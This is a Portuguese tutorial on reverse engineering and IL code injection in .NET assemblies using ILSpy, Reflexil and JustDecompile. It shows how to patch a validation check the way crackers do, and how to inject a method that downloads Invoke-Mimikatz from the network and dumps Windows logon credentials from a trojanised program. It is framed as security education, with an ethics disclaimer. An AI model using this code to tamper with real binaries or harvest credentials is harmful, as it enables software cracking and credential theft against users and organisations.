Engenharia Reversa e Injeção de Código

Manipulando DOT NET

RESUMO

O presente artigo tem como objetivo demonstrar os principais passos para realizar engenharia reversa e injeção de código para manipulação de um projeto DOT NET. A técnica de engenharia reversa pode ser aplicada em diversas áreas, não apenas em software, pois tem como objetivo apresentar àquele que está realizando o processo, o resultado final em sua construção. Aplicada em software, como a análise de malware, a engenharia reversa é o processo que envolve descompilar o código binário em uma linguagem de montagem ou até mesmo a linguagem na qual o programa foi escrito. Este artigo tratará exclusivamente de engenharia reversa e adulteração de código desenvolvido na plataforma .NET. Como outras linguagens mundialmente conhecidas, o .NET é baseado e plataforma de máquina virtual, ou seja, embora seja compilado o código é interpretado com base em um framework onde é possível utilizar diversas linguagens de programação como VB .NET, C # .NET, F # .NET e assim por diante.

 

 

1 INTRODUÇÃO

A técnica de engenharia reversa pode ser aplicada em diversas áreas, não apenas em software, pois seu objetivo é apresentar àquele que está realizando o processo, o resultado final em sua forma de construção.

Aplicada em software, como a análise de malware, a engenharia reversa é o processo que envolve descompilar o código binário em uma linguagem de montagem ou até mesmo a linguagem na qual o programa foi escrito.

Também é possível definir engenharia reversa como uma teoria multidisciplinar, além de possuir diversas técnicas e metodologias, seu uso pode produzir documentação consistente além do código fonte. Durante o processo de engenharia reversa não há alteração do código fonte e o sistema segue todo o processo durante todo o processo, ou seja, suas funções permanecem intactas.

Adulteração de dados é o ato de modificar (destruir, manipular ou editar). Com dados em repouso, como em uma DLL, um aplicativo do sistema pode sofrer uma violação de segurança e um intruso não autorizado pode implantar código mal-intencionado que corrompa os dados ou modifique o código de programação. Algumas técnicas, como a injeção de código, são usadas para executar esse procedimento.

A técnica de Injeção de Código ou Code Injection, como o nome sugere, é adicionar um trecho de código em um determinado programa. Com noções básicas sobre manipulação de código IL, podemos fazer muitas alterações no código-fonte de uma DLL desenvolvida em DOT NET. Com a manipulação de código, é possível interagir com o sistema e até mesmo alterá-lo completamente, mesmo se não tivermos o código-fonte, o que também não é um problema ao usar o JustDecompile, o ILSpy ou o dotPeek, por exemplo.

2 REFERENCIAL TEÓRICO

2.1 Code Injection e Remote Code Execution (RCE)

Esta técnica é frequentemente utilizada por crackers para manipular algum programa, a fim de obter alguma vantagem, fazendo com que o programa aja de acordo com a vontade do atacante. Injeção de Código ou Execução Remota de Código (RCE) refere-se a um ataque no qual um invasor pode executar um código malicioso, geralmente feito pela manipulação de algum URL, afim de enganar as validações do sistema.

No Code Injection, o invasor depende das limitações da linguagem que executa o código, e a injeção de código geralmente ocorre quando um aplicativo avalia o código sem primeiro validá-lo. O mesmo tipo de técnica pode ser empregado diretamente, seja em um arquivo executável ou em uma DLL.

 

2.2 ILSpy – Manipulação de Código com Reflexil

A manipulação do código fonte pode ser feita com diversas ferramentas, algumas pagas e outras gratuitas, como o ILSpy, uma ferramenta open source disponível em https://github.com/icsharpcode/ILSpy. O ILSpy suporta o Reflexil e será usado para exemplificar o máximo de ações possíveis na DLL “CSharpModeloDDD.Domain.dll”.

A estrutura sugerida para teste é incluir a DLL “CSharpModeloDDD.Domain.dll” no projeto do console, em seguida, criar um projeto de console chamado FWConsole e incluir a DLL acima.

Um assembly “System.Management.Automation.dll” foi instalado via Nuget no projeto de console e projeto de “domínio”, ou seja, em FWConsole e CSharpModeloDDD.Domain, esse procedimento ajudará você a entender os riscos de manter referências desnecessárias. Esta montagem representa uma classe Powershell, usada para executar scripts e comandos. Baixe o código fonte de exemplo em https://github.com/petterlopes/CSharpModeloDDD.git.

Adicione métodos conforme sugerido nas imagens abaixo e compile o projeto.

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Engenharia Reversa e Injeção de Código, manipulando DOT NET

 

A idéia principal é criar uma nova classe, criar novos métodos, modificar métodos existentes e, finalmente, gerar um novo executável e uma nova DLL. Resultado da importação do executável, na imagem pode ser vista a estrutura interpretada pelo ILSpy.

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Uma das práticas mais comuns em adulterar DLL’s é feita por crackers, eles são criminosos que frequentemente alteram o programa para burlar as validações, como modificar a entrada de dados em jogos pagos para torná-los livres de cobranças ilegais.

Para simular este cenário, vamos mudar o método “ClienteEspecial” na DLL “CSharpModeloDDD.Domain.dll”, para que no método “especial” do “FWConsole.exe”, cliente “Homem de Ferro” cliente.Nome = “Iron Man “;” do método Main, é considerado um cliente especial. Para isso neste método, vamos adicionar um condicional (“if”) onde o nome será comparado desta forma: if (cliente.Nome == “Iron Man”) {return true} ;. Com essa mudança, o cliente “Iron Man” será sempre considerado especial. Navegue para o método como mostrado abaixo.

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Quando o código fonte for exibido na aba direita, vá no Reflexil e clique com o botão direito do mouse na aba Instuctions e no menu escolha a opção “Replace all with code …”.

Uma janela será aberta com a compilação, onde o novo código será adicionado.

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Exclua o conteúdo do método, adicione a nova validação e clique no botão Compilar..

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Quando a edição do código estiver concluída, será necessário salvar a DLL ou o executável, desta forma o procedimento estará completo. Com a DLL salva, apenas faça o teste e veja se foi possível obter a mensagem “cliente especial”, então vá para o diretório de origem e execute o programa.

Engenharia Reversa e Injeção de Código, manipulando DOT NET

O próximo passo é criar uma nova classe, onde você terá um código de criptografia. A criptografia em questão é AES, para isso será utilizada a classe AES disponível no .NET. O uso da classe de criptografia é bastante simples, para isso é necessário adicionar “System.Security.Cryptography”.

Para economizar tempo, usaremos um exemplo da Microsoft, disponível na Classe AES. Exemplo da nossa classe AESCriptografia a ser adicionada no projeto FWConsole.

using System.IO;

using System.Security.Cryptography;

 

namespace FWConsole

{

public class AESCriptografia

{

public static byte[] EncryptStringToBytes_Aes(string plainText, byte[] Key,byte[] IV)

{

byte[] encrypted;

using (Aes aesAlg = Aes.Create())

{

aesAlg.Key = Key;

aesAlg.IV = IV;

 

ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);

 

using (MemoryStream msEncrypt = new MemoryStream())

{

using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))

{

using (StreamWriter swEncrypt = new StreamWriter(csEncrypt))

{

swEncrypt.Write(plainText);

}

encrypted = msEncrypt.ToArray();

}

}

}

return encrypted;

}

 

public static string DecryptStringFromBytes_Aes(byte[] cipherText, byte[] Key, byte[] IV)

{

string plaintext = null;

 

using (Aes aesAlg = Aes.Create())

{

aesAlg.Key = Key;

aesAlg.IV = IV;

 

ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);

using (MemoryStream msDecrypt = new MemoryStream(cipherText))

{

using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))

{

using (StreamReader srDecrypt = new StreamReader(csDecrypt))

{

plaintext = srDecrypt.ReadToEnd();

}

}

}

 

}

return plaintext;

}

}

}

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Configure a classe seguindo o exemplo. Em “Item name”, insira corretamente o nome da classe, sem esquecer o namespace. Depois de injetar a classe, repita o procedimento, no entanto, injetar o método EncryptStringToBytes_Aes.

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Tendo injetado o método, será necessário configurá-lo, para isto, primeiro vá para o Reflexil e adicione os parâmetros em “Attributes”..

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Em seguida, adicione os parâmetros de entrada do método, respeitando o tipo de cada um. Defina cuidadosamente cada parâmetro para o seu tipo correspondente.

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Engenharia Reversa e Injeção de Código, manipulando DOT NET Repita o procedimento para os três parâmetros de entrada.

Ao concluir esses procedimentos, iniciaremos o mesmo para o próximo método, DecryptStringFromBytes_Aes, ele deverá conter a seguinte estrutura: public static string DecryptStringFromBytes_Aes (byte [] cipherText, byte [] Key, byte [] IV).

No Reflexil em “Attributes”, modifique os parâmetros conforme a figura a seguir.

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Ainda em “Attributes”, marque a opção “IsStatic” em ambos os métodos, DecryptStringFromBytes_Aes e em EncryptStringToBytes_Aes, como na figura.

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Adicione os três parâmetros de entrada do método, seguindo o exemplo.

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Com os métodos adicionados e configurados, atualize os objetos executáveis ​​no ILSpy.

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Engenharia Reversa e Injeção de Código, manipulando DOT NET Isso deve resultar em um código como este.

Com o resultado positivo, salve o arquivo e carregue-o novamente, então você pode começar a mudar os métodos.

Primeiro você precisará substituir as importações, como você pode ver na imagem abaixo.

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Depois de adicionar o código nos dois métodos, salve o executável novamente e recarregue-o.

Até agora é possível perceber que o Reflexil funciona muito bem, todas as mudanças propostas foram bem executadas. Então, como o Reflexil funciona da mesma maneira em qualquer outra ferramenta, a partir deste momento, seguiremos nossos exemplos de uso do Reflexil na ferramenta JustDecompile.

Com a ajuda do JustDecompile, uma ferramenta gratuita da Telerik, continuaremos com o estudo da injeção de código com Reflexil. Até a data de publicação deste artigo, a Telerik forneceu o código-fonte para o JustDecompile Core, por isso é possível criar nossa própria interface gráfica.

A interface gráfica do JustDecompile não é de código aberto, mas ainda é gratuita. Com o código fonte da aplicação e estudando a API, é possível estender a funcionalidade da aplicação.

Aproveitando o fato de que você já importou o “System.Management.Automation.dll” no exemplo anterior, o objetivo agora é adicionar recursos do PowerShell e mostrar como podemos obter credenciais de usuários autenticados no Windows.

Neste ponto, estaremos entendendo como um programa mal-intencionado pode tirar vantagem de uma rede corporativa apenas fazendo algumas alterações em um programa legítimo.

No projeto “FWConsole“, vamos adicionar, apenas como exemplo, um método que visa coletar processos em execução no Windows.

public static void executaPowershellLocal()

{

Runspace runspace = RunspaceFactory.CreateRunspace();

runspace.Open();

using (PowerShell ps = PowerShell.Create())

{

ps.Runspace = runspace;

ps.AddScript(“Get-Process”);

var results = ps.Invoke();

 

foreach (var result in results)

{

var processo = (System.Diagnostics.Process)result.BaseObject;

Console.WriteLine(string.Format(“pid: {0, 10} \t {1} “, processo.Id, processo.ProcessName));

}

}

 

runspace.Close();

}

 

Para este procedimento basta seguir a sequência já apresentada nos exemplos anteriores, primeiro injetamos o método “exectaPowershellLocal”, configuramos seus atributos, em “Instructions” substituímos o código e adicionamos o código do método acima.

No início da classe, você precisa adicionar duas referências, a “System.Management.Automation” e a “System.Management.Automation.Runspaces“, se ainda não existirem.

Embora já tenhamos adicionado a DLL nas referências no projeto, se olharmos no JustDecompile, não há referência à DLL, porque ao compilar o projeto, ele só carrega o que é necessário de acordo com o código.

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Para resolver o problema basta adicionar a DLL via Reflexil, através do “Inject assembly reference“.

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Ao fazer a injeção na DLL e clicar Ok, ainda é necessário fazer alguns ajustes, pois não é reconhecido devido à falta de algumas informações como versão e PublicKeyToken, como pode ser visto na figura abaixo.

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Engenharia Reversa e Injeção de Código, manipulando DOT NET Para resolver o problema, precisamos adicionar a DLL manualmente. Para esta DLL é necessário informar os parâmetros como abaixo.

 

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Quando os dados DLL são preenchidos de acordo com a versão correta, basta ir no projeto e no Reflexil escolher a opção “Update JustDecompile object model“, isso fará com que o executável seja atualizado junto com as referências.

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Se o resultado for o mesmo da última figura, basta voltar ao Reflexil e salvar o projeto com as alterações apropriadas. Então você precisa adicionar a referência “System.Core“, com os parâmetros como na figura a seguir e salve o projeto novamente.

 

Engenharia Reversa e Injeção de Código, manipulando DOT NET

O próximo passo é adicionar a referência no uso. Injetar o método “executePowershellLocal” e marcar como “IsStatic“, então clique em “Update JustDecompile object model” e em “Instructions” escolha a opção “Replace all with code“, quando abrir a janela para editar o método, adicione o código inserido anteriormente.

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Ao executar as etapas, faça o teste, você poderá encontrar alguns erros, tente resolvê-los com o que aprendeu até agora. Para continuar com novos exemplos, ainda com JustDecompile, vamos criar uma nova DLL chamada “Inject”, adicione a DLL “System.Management.Automation” via Nuget.

Crie dois métodos com o seguinte código.

public static void executaPowershellLocal()

{

Runspace runspace = RunspaceFactory.CreateRunspace();

runspace.Open();

using (PowerShell ps = PowerShell.Create())

{

ps.Runspace = runspace;

ps.AddScript(“Get-Process”);

var results = ps.Invoke();

 

foreach (var result in results)

{

var processo = (Process)result.BaseObject;

Console.WriteLine(string.Format(“pid: {0, 10} \t {1} “, processo.Id, processo.ProcessName));

}

}

 

runspace.Close();

}

public static void obtemLogonPasswords()

{

Runspace runspace = RunspaceFactory.CreateRunspace();

runspace.Open();

using (PowerShell powerShell = PowerShell.Create())

{

powerShell.Runspace = runspace;

string script = new WebClient().DownloadString(“https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1”);

powerShell.AddScript(script).AddScript(“Invoke-Mimikatz -Command ‘privilege::debug sekurlsa::logonpasswords'”);

foreach (PSObject psobject in powerShell.Invoke())

{

Console.WriteLine(psobject.BaseObject);

}

}

runspace.Close();

}

No projeto FWConsole, via Reflexil injete o a DLL “Inject” criada anteriormente, adicione a referência no “using” line 5 e após adicione o código.

Engenharia Reversa e Injeção de Código, manipulando DOT NET

O método “executePowershellLocal, gera como saída, todos os processos executando no computador local. Para tornar a injeção de código mais interessante, vamos chamar o método “obtemLogonPasswords“, este método será responsável por capturar as credenciais do Windows, para isso, será usado um script desenvolvido em Powershell da ferramenta para Pentest’s, Empire Powershell, chamado Invoke-Mimikatz.

Mimikatz é uma ferramenta pós-scan escrita por Benjamin Delpy (@gentilkiwi). Ele permite que você extraia credenciais em texto puro, sem formatação da memória, local SAM/NTDS.dit, database password hashes, advanced Kerberos functionality, e muito mais.

O Código fonte do Mimikatz pode ser obtido em https://github.com/gentilkiwi/mimikatz/, e há também um wiki disponível em https://github.com/gentilkiwi/mimikatz/wiki. O Empire usa uma versão adaptada do Powervoice’s Invoke-Mimikatz, função escrita por Jospeh Bialek para rodar o Mimikatz em PowerShell direto para a memória, ou seja, nada será gravado no disco.

Essas ferramentas são muito usadas em testes de invasão, no entanto, não é minha intenção esgotar esse assunto neste artigo. Para ver se tudo está funcionando, altere o código do método principal, como na figura.

Engenharia Reversa e Injeção de Código, manipulando DOT NET

Talvez você não consiga ver as credenciais enquanto executa o programa, portanto, você deve executá-lo com privilégios de administrador e estar em uma rede com o Active Directory. Tenha muito cuidado com este teste porque ele exibirá informações confidenciais, executará em um ambiente controlado e não na empresa onde você trabalha, tem responsabilidade e ética.

IMPORTANTE: O autor não é responsável por danos causados ​​por má fé na aplicação dos conhecimentos adquiridos neste trabalho, você é inteiramente responsável por suas próprias ações.

3 CONSIDERAÇÕES FINAIS

Seguindo os conceitos de engenharia reversa de software, uma das maneiras de entender e reconstruir um programa ou sistema é obter seu código-fonte. No entanto, é incomum que a empresa que implantou o software disponibilize o código-fonte, especialmente quando o software é o gerador de lucros da empresa.

Embora, até a data de publicação deste artigo, haja uma grande variedade de sistemas de código aberto, nem sempre foi assim, mas temos alguns casos bem conhecidos, como o sistema operacional Linux. No entanto, o caso é que, para a maioria, ainda é necessário manter sigilo e pelo menos uma boa parte do código-fonte do seu produto armazenado a sete chaves.

Técnicas como ofuscação de código-fonte geralmente ajudam a melhorar a segurança do código. No entanto, é muito importante definir e seguir boas práticas de segurança no desenvolvimento de software, abordando fortemente o uso de SSDLC ou Secure Software Development Life Cycle.